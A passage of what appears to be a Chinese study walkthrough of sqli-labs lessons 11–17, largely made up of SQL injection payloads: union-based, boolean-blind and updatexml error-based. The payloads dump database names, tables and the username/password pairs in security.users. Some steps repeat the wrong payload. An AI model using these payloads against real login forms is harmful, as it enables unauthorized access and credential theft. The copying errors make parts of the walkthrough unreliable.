- Less-11:
- 首先正常登录发现会回显登录名和密码
再利用burp抓包,重新发送表单数据.得到post data
将post data 复制到hackbar进行后续操作更为方便.
- 判断是否存在注入
加一个’,发现页面有错误回显,可以确定存在注入漏洞.
- 判断字段数
字段数为2.
- 判断回显位置
已经知道有两个字段,且其会回显1,2
- 查库
- 查表
- 查列
- 查字段
- Less-12:
- 同样的还是先利用burp抓包得到post data
- 判断是否存在注入
加一个”) #后返回正确,即可知道存在注入漏洞
- 后续步骤与上一关相似.
以下仅贴post data中的内容:
查字段数: uname=admin") order by 2#&passwd=admin&submit=Submit
查回显: uname=1213") union select 1,2 #&passwd=admin&submit=Submit
查库: uname=1213") union select 1,group_concat(schema_name) from information_schema.schemata #&passwd=admin&submit=Submit
查表: uname=1213") union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 #&passwd=admin&submit=Submit
查列: uname=1213") union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin&submit=Submit
查字段: uname=1213") union select 1,group_concat(concat_ws('~',username,password)) from security.users #&passwd=admin&submit=Submit
- Less-13:
- 判断注入
此关无回显,只有蓝色字母提示正确.可以看出是bool型盲注。
- 查字段数
- 查数据库名字符数
- 猜解数据库名(先猜第一个,利用>,<去试)
打开burp代理:
打开burp->点击执行:
发送到intruder进行爆破
可以看出此时数据库的第一个字符为s.
后续步骤不再赘述.
- 猜解表名:
uname=admin') and left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)>'a' #&passwd=admin&submit=Submit
- 猜解列名:
uname=admin') and left((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1)>'a' #&passwd=admin&submit=Submit
- 猜解字段名:
uname=admin') and left((select concat_ws(0x7e,username,password) from security.users limit 0,1),1)>'a' #&passwd=admin&submit=Submit
- Less-14:
- 判断注入
- 查字段数
uname=admin" order by 2#&passwd=admin&submit=Submit
后续内容与上一关基本相同.
- 查询数据库名字符数:
uname=admin" and length(database())>1 #&passwd=admin&submit=Submit
- 查库:
uname=admin" and left(database(),1)>'a' #&passwd=admin&submit=Submit
- 查表:
uname=admin" and left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)>'a' #&passwd=admin&submit=Submit
- 查列:
uname=admin" and left((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1)>'a' #&passwd=admin&submit=Submit
- 查字段:
uname=admin" and left((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1)>'a' #&passwd=admin&submit=Submit
- Less-15:与上两关一样,均为盲注
判断注入: uname=admin' #&passwd=admin&submit=Submit
查字段数: uname=admin' order by 2#&passwd=admin&submit=Submit
查数据库名字符数: uname=admin' and length(database())>1 #&passwd=admin&submit=Submit
查库: uname=admin' and left(database(),1)>'a' #&passwd=admin&submit=Submit(当前数据库)
或uname=admin' and left((select schema_name from information_schema.schemata limit 0,1),1)>'a' #&passwd=admin&submit=Submit(所有数据库)
查表: uname=admin' and left((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1)>'a' #&passwd=admin&submit=Submit
查列: uname=admin' and left((select column_name from information_schema.columns where table_name=0x7573657273 limit 0,1),1)>'a' #&passwd=admin&submit=Submit
查字段: uname=admin' and left((select concat_ws(0x7e,username,password) from security.users limit 0,1),1)='D' #&passwd=admin&submit=Submit
同样的可以使用burpsuite去爆破.
- Less-16:
id=(“admin”):与之前几关的差别不大,采用 ”) # 闭合sql语句即可.
- 补充知识:
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
而我们的注入语句为:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: '~Dumb~'
- Less-17:
- 首先,我们知道这是一个修改密码的页面,则我们需要在知道username的前提下,去进行注入。
且其对username的值进行了转义,因此我们转向password参数,发现存在注入漏洞。
因此我们可以利用上面讲到的updatexml函数进行渗透。
- 查库:
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(database())),1)#&submit=Submit
- 查表
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(database())),1)#&submit=Submit
- 查列
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#&submit=Submita
- 查字段
首先试了一下直接查:uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from security.users limit 1,1)),1)#&submit=Submita
发现报错信息。试着加一层select。
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from(select password from security.users limit 1,1))),1)#&submit=Submita
还是报错,但是提示需要一个别名。
uname=admin&passwd=admin' and updatexml(1,concat(0x7e,(select password from(select password from security.users limit 1,1)0pts)),1)#&submit=Submita
成功获得密码。
参考视频链接:https://www.bilibili.com/video/BV1yJ411g7hh?p=12&spm_id_from=pageDriver